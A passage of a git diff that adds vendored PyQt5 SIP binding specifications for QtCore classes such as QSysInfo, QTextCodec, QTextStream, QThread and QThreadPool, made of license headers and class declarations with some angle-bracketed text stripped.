FITNESS FOR A PARTICULAR PURPOSE. + + +class QStringListModel : QAbstractListModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QStringListModel(QObject *parent /TransferThis/ = 0); + QStringListModel(const QStringList &strings, QObject *parent /TransferThis/ = 0); + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant data(const QModelIndex &index, int role) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole); + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); + QStringList stringList() const; + void setStringList(const QStringList &strings); + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + virtual Qt::DropActions supportedDropActions() const; + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; +%If (Qt_5_13_0 -) + virtual bool moveRows(const QModelIndex &sourceParent, int sourceRow, int count, const QModelIndex &destinationParent, int destinationChild); +%End +%If (Qt_5_13_0 -) + virtual QMap itemData(const QModelIndex &index) const; +%End +%If (Qt_5_13_0 -) + virtual bool setItemData(const QModelIndex &index, const QMap &roles); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsysinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsysinfo.sip new file mode 100644 index 00000000..0f8a316b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsysinfo.sip @@ -0,0 +1,198 @@ +// This is the SIP specification of the QSysInfo class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSysInfo +{ +%TypeHeaderCode +#include +%End + +public: + enum Sizes + { + WordSize, + }; + + enum Endian + { + BigEndian, + LittleEndian, + ByteOrder, + }; + +%If (WS_MACX) + enum MacVersion + { + MV_Unknown, + MV_9, + MV_10_0, + MV_10_1, + MV_10_2, + MV_10_3, + MV_10_4, + MV_10_5, + MV_10_6, + MV_10_7, + MV_10_8, +%If (Qt_5_1_0 -) + MV_10_9, +%End +%If (Qt_5_4_0 -) + MV_10_10, +%End +%If (Qt_5_5_0 -) + MV_10_11, +%End +%If (Qt_5_8_0 -) + MV_10_12, +%End + MV_CHEETAH, + MV_PUMA, + MV_JAGUAR, + MV_PANTHER, + MV_TIGER, + MV_LEOPARD, + MV_SNOWLEOPARD, + MV_LION, + MV_MOUNTAINLION, +%If (Qt_5_1_0 -) + MV_MAVERICKS, +%End +%If (Qt_5_4_0 -) + MV_YOSEMITE, +%End +%If (Qt_5_5_0 -) + MV_ELCAPITAN, +%End +%If (Qt_5_8_0 -) + MV_SIERRA, +%End + +%If (Qt_5_2_0 -) + MV_IOS, + MV_IOS_4_3, + MV_IOS_5_0, + MV_IOS_5_1, + MV_IOS_6_0, + MV_IOS_6_1, + MV_IOS_7_0, + MV_IOS_7_1, +%End +%If (Qt_5_4_0 -) + MV_IOS_8_0, +%End +%If (Qt_5_5_0 -) + MV_IOS_8_1, + MV_IOS_8_2, + MV_IOS_8_3, + MV_IOS_8_4, + MV_IOS_9_0, +%End +%If (Qt_5_8_0 -) + MV_IOS_9_1, + MV_IOS_9_2, + MV_IOS_9_3, + MV_IOS_10_0, +%End + +%If (Qt_5_8_0 -) + MV_TVOS, + MV_TVOS_9_0, + MV_TVOS_9_1, + MV_TVOS_9_2, + MV_TVOS_10_0, +%End + +%If (Qt_5_8_0 -) + MV_WATCHOS, + MV_WATCHOS_2_0, + MV_WATCHOS_2_1, + MV_WATCHOS_2_2, + MV_WATCHOS_3_0, +%End + }; + + static const QSysInfo::MacVersion MacintoshVersion; + static QSysInfo::MacVersion macVersion(); +%End + +%If (WS_WIN) + enum WinVersion { + WV_32s, + WV_95, + WV_98, + WV_Me, + WV_DOS_based, + + WV_NT, + WV_2000, + WV_XP, + WV_2003, + WV_VISTA, + WV_WINDOWS7, + WV_WINDOWS8, +%If (Qt_5_2_0 -) + WV_WINDOWS8_1, +%End +%If (Qt_5_5_0 -) + WV_WINDOWS10, +%End + WV_NT_based, + + WV_4_0, + WV_5_0, + WV_5_1, + WV_5_2, + WV_6_0, + WV_6_1, + WV_6_2, +%If (Qt_5_2_0 -) + WV_6_3, +%End +%If (Qt_5_5_0 -) + WV_10_0, +%End + + WV_CE, + WV_CENET, + WV_CE_5, + WV_CE_6, + WV_CE_based + }; + + static const QSysInfo::WinVersion WindowsVersion; + static QSysInfo::WinVersion windowsVersion(); +%End + +%If (Qt_5_4_0 -) + static QString buildAbi(); + static QString buildCpuArchitecture(); + static QString currentCpuArchitecture(); + static QString kernelType(); + static QString kernelVersion(); + static QString prettyProductName(); + static QString productType(); + static QString productVersion(); +%End + +%If (Qt_5_6_0 -) + static QString machineHostName(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsystemsemaphore.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsystemsemaphore.sip new file mode 100644 index 00000000..cb222423 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsystemsemaphore.sip @@ -0,0 +1,58 @@ +// qsystemsemaphore.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSystemSemaphore +{ +%TypeHeaderCode +#include +%End + +public: + enum AccessMode + { + Open, + Create, + }; + + enum SystemSemaphoreError + { + NoError, + PermissionDenied, + KeyError, + AlreadyExists, + NotFound, + OutOfResources, + UnknownError, + }; + + QSystemSemaphore(const QString &key, int initialValue = 0, QSystemSemaphore::AccessMode mode = QSystemSemaphore::Open); + ~QSystemSemaphore(); + void setKey(const QString &key, int initialValue = 0, QSystemSemaphore::AccessMode mode = QSystemSemaphore::Open); + QString key() const; + bool acquire(); + bool release(int n = 1); + QSystemSemaphore::SystemSemaphoreError error() const; + QString errorString() const; + +private: + QSystemSemaphore(const QSystemSemaphore &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtemporarydir.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtemporarydir.sip new file mode 100644 index 00000000..c20c712d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtemporarydir.sip @@ -0,0 +1,47 @@ +// qtemporarydir.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTemporaryDir +{ +%TypeHeaderCode +#include +%End + +public: + QTemporaryDir(); + explicit QTemporaryDir(const QString &templateName); + ~QTemporaryDir(); + bool isValid() const; + bool autoRemove() const; + void setAutoRemove(bool b); + bool remove(); + QString path() const; +%If (Qt_5_6_0 -) + QString errorString() const; +%End +%If (Qt_5_9_0 -) + QString filePath(const QString &fileName) const; +%End + +private: + QTemporaryDir(const QTemporaryDir &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtemporaryfile.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtemporaryfile.sip new file mode 100644 index 00000000..e2130c3b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtemporaryfile.sip @@ -0,0 +1,49 @@ +// qtemporaryfile.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTemporaryFile : QFile +{ +%TypeHeaderCode +#include +%End + +public: + QTemporaryFile(); + explicit QTemporaryFile(const QString &templateName); + explicit QTemporaryFile(QObject *parent /TransferThis/); + QTemporaryFile(const QString &templateName, QObject *parent /TransferThis/); + virtual ~QTemporaryFile(); + bool autoRemove() const; + void setAutoRemove(bool b); + bool open() /ReleaseGIL/; + virtual QString fileName() const; + QString fileTemplate() const; + void setFileTemplate(const QString &name); + static QTemporaryFile *createNativeFile(const QString &fileName) /Factory,ReleaseGIL/; + static QTemporaryFile *createNativeFile(QFile &file) /Factory,ReleaseGIL/; +%If (Qt_5_10_0 -) + bool rename(const QString &newName); +%End + +protected: + virtual bool open(QIODevice::OpenMode flags) /ReleaseGIL/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextboundaryfinder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextboundaryfinder.sip new file mode 100644 index 00000000..a67058f7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextboundaryfinder.sip @@ -0,0 +1,67 @@ +// qtextboundaryfinder.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextBoundaryFinder +{ +%TypeHeaderCode +#include +%End + +public: + enum BoundaryReason + { + NotAtBoundary, + SoftHyphen, + BreakOpportunity, + StartOfItem, + EndOfItem, + MandatoryBreak, + }; + + typedef QFlags BoundaryReasons; + + enum BoundaryType + { + Grapheme, + Word, + Line, + Sentence, + }; + + QTextBoundaryFinder(); + QTextBoundaryFinder(const QTextBoundaryFinder &other); + QTextBoundaryFinder(QTextBoundaryFinder::BoundaryType type, const QString &string); + ~QTextBoundaryFinder(); + bool isValid() const; + QTextBoundaryFinder::BoundaryType type() const; + QString string() const; + void toStart(); + void toEnd(); + int position() const; + void setPosition(int position); + int toNextBoundary(); + int toPreviousBoundary(); + bool isAtBoundary() const; + QTextBoundaryFinder::BoundaryReasons boundaryReasons() const; +}; + +QFlags operator|(QTextBoundaryFinder::BoundaryReason f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextcodec.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextcodec.sip new file mode 100644 index 00000000..896c48bf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextcodec.sip @@ -0,0 +1,118 @@ +// qtextcodec.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextCodec /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + static QTextCodec *codecForName(const QByteArray &name); + static QTextCodec *codecForName(const char *name); + static QTextCodec *codecForMib(int mib); + static QTextCodec *codecForHtml(const QByteArray &ba); + static QTextCodec *codecForHtml(const QByteArray &ba, QTextCodec *defaultCodec); + static QTextCodec *codecForUtfText(const QByteArray &ba); + static QTextCodec *codecForUtfText(const QByteArray &ba, QTextCodec *defaultCodec); + static QList availableCodecs(); + static QList availableMibs(); + static QTextCodec *codecForLocale(); + static void setCodecForLocale(QTextCodec *c /KeepReference/); + QTextDecoder *makeDecoder(QTextCodec::ConversionFlags flags = QTextCodec::DefaultConversion) const /Factory/; + QTextEncoder *makeEncoder(QTextCodec::ConversionFlags flags = QTextCodec::DefaultConversion) const /Factory/; + bool canEncode(const QString &) const; + QString toUnicode(const QByteArray &) const; + QString toUnicode(const char *chars /Encoding="None"/) const; + QByteArray fromUnicode(const QString &uc) const; + + enum ConversionFlag + { + DefaultConversion, + ConvertInvalidToNull, + IgnoreHeader, + }; + + typedef QFlags ConversionFlags; + + struct ConverterState + { +%TypeHeaderCode +#include +%End + + ConverterState(QTextCodec::ConversionFlags flags = QTextCodec::DefaultConversion); + ~ConverterState(); + + private: + ConverterState(const QTextCodec::ConverterState &); + }; + + QString toUnicode(const char *in /Array/, int length /ArraySize/, QTextCodec::ConverterState *state = 0) const; + virtual QByteArray name() const = 0; + virtual QList aliases() const; + virtual int mibEnum() const = 0; + +protected: + virtual QString convertToUnicode(const char *in /Array/, int length /ArraySize/, QTextCodec::ConverterState *state) const = 0; + virtual QByteArray convertFromUnicode(const QChar *in /Array/, int length /ArraySize/, QTextCodec::ConverterState *state) const = 0; + QTextCodec() /Transfer/; + virtual ~QTextCodec(); + +private: + QTextCodec(const QTextCodec &); +}; + +QFlags operator|(QTextCodec::ConversionFlag f1, QFlags f2); + +class QTextEncoder /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextEncoder(const QTextCodec *codec); + QTextEncoder(const QTextCodec *codec, QTextCodec::ConversionFlags flags); + ~QTextEncoder(); + QByteArray fromUnicode(const QString &str); + +private: + QTextEncoder(const QTextEncoder &); +}; + +class QTextDecoder /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextDecoder(const QTextCodec *codec); + QTextDecoder(const QTextCodec *codec, QTextCodec::ConversionFlags flags); + ~QTextDecoder(); + QString toUnicode(const char *chars /Array/, int len /ArraySize/); + QString toUnicode(const QByteArray &ba); + +private: + QTextDecoder(const QTextDecoder &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextstream.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextstream.sip new file mode 100644 index 00000000..d2cdf25b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtextstream.sip @@ -0,0 +1,183 @@ +// qtextstream.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QTextStream +{ +%TypeHeaderCode +#include +%End + +public: + enum RealNumberNotation + { + SmartNotation, + FixedNotation, + ScientificNotation, + }; + + enum FieldAlignment + { + AlignLeft, + AlignRight, + AlignCenter, + AlignAccountingStyle, + }; + + enum NumberFlag + { + ShowBase, + ForcePoint, + ForceSign, + UppercaseBase, + UppercaseDigits, + }; + + enum Status + { + Ok, + ReadPastEnd, + ReadCorruptData, + WriteFailed, + }; + + typedef QFlags NumberFlags; + QTextStream(); + explicit QTextStream(QIODevice *device); + QTextStream(QByteArray *array /Constrained/, QIODevice::OpenMode mode = QIODevice::ReadWrite); + virtual ~QTextStream(); + void setCodec(QTextCodec *codec /KeepReference/); + void setCodec(const char *codecName); + QTextCodec *codec() const; + void setAutoDetectUnicode(bool enabled); + bool autoDetectUnicode() const; + void setGenerateByteOrderMark(bool generate); + bool generateByteOrderMark() const; + void setDevice(QIODevice *device); + QIODevice *device() const; + bool atEnd() const; + void reset(); + void flush() /ReleaseGIL/; + bool seek(qint64 pos); + void skipWhiteSpace(); + QString read(qint64 maxlen) /ReleaseGIL/; + QString readLine(qint64 maxLength = 0) /ReleaseGIL/; + QString readAll() /ReleaseGIL/; + void setFieldAlignment(QTextStream::FieldAlignment alignment); + QTextStream::FieldAlignment fieldAlignment() const; + void setPadChar(QChar ch); + QChar padChar() const; + void setFieldWidth(int width); + int fieldWidth() const; + void setNumberFlags(QTextStream::NumberFlags flags); + QTextStream::NumberFlags numberFlags() const; + void setIntegerBase(int base); + int integerBase() const; + void setRealNumberNotation(QTextStream::RealNumberNotation notation); + QTextStream::RealNumberNotation realNumberNotation() const; + void setRealNumberPrecision(int precision); + int realNumberPrecision() const; + QTextStream::Status status() const; + void setStatus(QTextStream::Status status); + void resetStatus(); + qint64 pos() const; + QTextStream &operator>>(QByteArray &array /Constrained/); + QTextStream &operator<<(const QString &s); + QTextStream &operator<<(const QByteArray &array); + QTextStream &operator<<(double f /Constrained/); + QTextStream &operator<<(SIP_PYOBJECT i /TypeHint="int"/); +%MethodCode + #if PY_MAJOR_VERSION < 3 + if (PyInt_Check(a1)) + { + qlonglong val = PyInt_AsLong(a1); + + sipRes = &(*a0 << val); + } + else + #endif + { + qlonglong val = sipLong_AsLongLong(a1); + + if (!PyErr_Occurred()) + { + sipRes = &(*a0 << val); + } + else + { + // If it is positive then it might fit an unsigned long long. + + qulonglong uval = sipLong_AsUnsignedLongLong(a1); + + if (!PyErr_Occurred()) + { + sipRes = &(*a0 << uval); + } + else + { + sipError = (PyErr_ExceptionMatches(PyExc_OverflowError) + ? sipErrorFail : sipErrorContinue); + } + } + } +%End + + void setLocale(const QLocale &locale); + QLocale locale() const; + +private: + QTextStream(const QTextStream &); +}; + +QFlags operator|(QTextStream::NumberFlag f1, QFlags f2); +class QTextStreamManipulator; +QTextStream &operator<<(QTextStream &s, QTextStreamManipulator m); +QTextStream &bin(QTextStream &s) /PyName=bin_/; +QTextStream &oct(QTextStream &s) /PyName=oct_/; +QTextStream &dec(QTextStream &s); +QTextStream &hex(QTextStream &s) /PyName=hex_/; +QTextStream &showbase(QTextStream &s); +QTextStream &forcesign(QTextStream &s); +QTextStream &forcepoint(QTextStream &s); +QTextStream &noshowbase(QTextStream &s); +QTextStream &noforcesign(QTextStream &s); +QTextStream &noforcepoint(QTextStream &s); +QTextStream &uppercasebase(QTextStream &s); +QTextStream &uppercasedigits(QTextStream &s); +QTextStream &lowercasebase(QTextStream &s); +QTextStream &lowercasedigits(QTextStream &s); +QTextStream &fixed(QTextStream &s); +QTextStream &scientific(QTextStream &s); +QTextStream &left(QTextStream &s); +QTextStream &right(QTextStream &s); +QTextStream ¢er(QTextStream &s); +QTextStream &endl(QTextStream &s); +QTextStream &flush(QTextStream &s); +QTextStream &reset(QTextStream &s); +QTextStream &bom(QTextStream &s); +QTextStream &ws(QTextStream &s); +QTextStreamManipulator qSetFieldWidth(int width); +QTextStreamManipulator qSetPadChar(QChar ch); +QTextStreamManipulator qSetRealNumberPrecision(int precision); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qthread.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qthread.sip new file mode 100644 index 00000000..3ac1fdb3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qthread.sip @@ -0,0 +1,96 @@ +// qthread.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QThread : QObject +{ +%TypeHeaderCode +#include +%End + +public: + static QThread *currentThread(); + static Qt::HANDLE currentThreadId(); + static int idealThreadCount(); + static void yieldCurrentThread() /ReleaseGIL/; + explicit QThread(QObject *parent /TransferThis/ = 0); + virtual ~QThread(); + + enum Priority + { + IdlePriority, + LowestPriority, + LowPriority, + NormalPriority, + HighPriority, + HighestPriority, + TimeCriticalPriority, + InheritPriority, + }; + + bool isFinished() const; + bool isRunning() const; + void setPriority(QThread::Priority priority); + QThread::Priority priority() const; + void setStackSize(uint stackSize); + uint stackSize() const; + void exit(int returnCode = 0) /ReleaseGIL/; + +public slots: + void start(QThread::Priority priority = QThread::InheritPriority) /ReleaseGIL/; + void terminate(); + void quit(); + +public: + bool wait(unsigned long msecs = ULONG_MAX) /ReleaseGIL/; +%If (Qt_5_15_0 -) + bool wait(QDeadlineTimer deadline) [bool (QDeadlineTimer deadline = QDeadlineTimer(QDeadlineTimer::ForeverConstant::Forever))]; +%End + +signals: + void started(); + void finished(); + +protected: + virtual void run() /NewThread,ReleaseGIL/; + int exec() /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + int exec() /ReleaseGIL/; +%End + static void setTerminationEnabled(bool enabled = true); + +public: + virtual bool event(QEvent *event); + static void sleep(unsigned long) /ReleaseGIL/; + static void msleep(unsigned long) /ReleaseGIL/; + static void usleep(unsigned long) /ReleaseGIL/; + QAbstractEventDispatcher *eventDispatcher() const; + void setEventDispatcher(QAbstractEventDispatcher *eventDispatcher /Transfer/); +%If (Qt_5_2_0 -) + void requestInterruption(); +%End +%If (Qt_5_2_0 -) + bool isInterruptionRequested() const; +%End +%If (Qt_5_5_0 -) + int loopLevel() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qthreadpool.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qthreadpool.sip new file mode 100644 index 00000000..90696aaa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qthreadpool.sip @@ -0,0 +1,144 @@ +// qthreadpool.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QThreadPool : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QThreadPool(QObject *parent /TransferThis/ = 0); + virtual ~QThreadPool(); + static QThreadPool *globalInstance() /KeepReference/; + void start(QRunnable *runnable /GetWrapper/, int priority = 0) /ReleaseGIL/; +%MethodCode + // We have to handle the object ownership manually. + if (a0->autoDelete()) + sipTransferTo(a0Wrapper, sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipCpp->start(a0, a1); + Py_END_ALLOW_THREADS +%End + +%If (Qt_5_15_0 -) + void start(SIP_PYCALLABLE functionToRun /TypeHint="Callable[[], None]"/, int priority = 0) /ReleaseGIL/; +%MethodCode + Py_INCREF(a0); + + Py_BEGIN_ALLOW_THREADS + + sipCpp->start([a0]() { + SIP_BLOCK_THREADS + + PyObject *res; + + res = PyObject_CallObject(a0, NULL); + + Py_DECREF(a0); + + if (res) + Py_DECREF(res); + else + pyqt5_err_print(); + + SIP_UNBLOCK_THREADS + }, a1); + + Py_END_ALLOW_THREADS +%End + +%End + bool tryStart(QRunnable *runnable /GetWrapper/) /ReleaseGIL/; +%MethodCode + // We have to handle the object ownership manually. + if (a0->autoDelete()) + sipTransferTo(a0Wrapper, sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->tryStart(a0); + Py_END_ALLOW_THREADS +%End + +%If (Qt_5_15_0 -) + bool tryStart(SIP_PYCALLABLE functionToRun /TypeHint="Callable[[], None]"/) /ReleaseGIL/; +%MethodCode + Py_INCREF(a0); + + Py_BEGIN_ALLOW_THREADS + + sipRes = sipCpp->tryStart([a0]() { + SIP_BLOCK_THREADS + + PyObject *res; + + res = PyObject_CallObject(a0, NULL); + + Py_DECREF(a0); + + if (res) + Py_DECREF(res); + else + pyqt5_err_print(); + + SIP_UNBLOCK_THREADS + }); + + Py_END_ALLOW_THREADS +%End + +%End +%If (Qt_5_9_0 -) + bool tryTake(QRunnable *runnable /GetWrapper/) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->tryTake(a0); + Py_END_ALLOW_THREADS + + // We have to handle the object ownership manually. + if (sipRes) + sipTransferBack(a0Wrapper); +%End + +%End + int expiryTimeout() const; + void setExpiryTimeout(int expiryTimeout); + int maxThreadCount() const; + void setMaxThreadCount(int maxThreadCount) /ReleaseGIL/; + int activeThreadCount() const /ReleaseGIL/; + void reserveThread() /ReleaseGIL/; + void releaseThread() /ReleaseGIL/; + bool waitForDone(int msecs = -1) /ReleaseGIL/; +%If (Qt_5_2_0 -) + void clear() /ReleaseGIL/; +%End +%If (Qt_5_5_0 -) + void cancel(QRunnable *runnable) /ReleaseGIL/; +%End +%If (Qt_5_10_0 -) + void setStackSize(uint stackSize); +%End +%If (Qt_5_10_0 -) + uint stackSize() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimeline.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimeline.sip new file mode 100644 index 00000000..a8239beb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimeline.sip @@ -0,0 +1,97 @@ +// qtimeline.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTimeLine : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum CurveShape + { + EaseInCurve, + EaseOutCurve, + EaseInOutCurve, + LinearCurve, + SineCurve, + CosineCurve, + }; + + enum Direction + { + Forward, + Backward, + }; + + enum State + { + NotRunning, + Paused, + Running, + }; + + QTimeLine(int duration = 1000, QObject *parent /TransferThis/ = 0); + virtual ~QTimeLine(); + QTimeLine::State state() const; + int loopCount() const; + void setLoopCount(int count); + QTimeLine::Direction direction() const; + void setDirection(QTimeLine::Direction direction); + int duration() const; + void setDuration(int duration); + int startFrame() const; + void setStartFrame(int frame); + int endFrame() const; + void setEndFrame(int frame); + void setFrameRange(int startFrame, int endFrame); + int updateInterval() const; + void setUpdateInterval(int interval); + QTimeLine::CurveShape curveShape() const; + void setCurveShape(QTimeLine::CurveShape shape); + int currentTime() const; + int currentFrame() const; + qreal currentValue() const; + int frameForTime(int msec) const; + 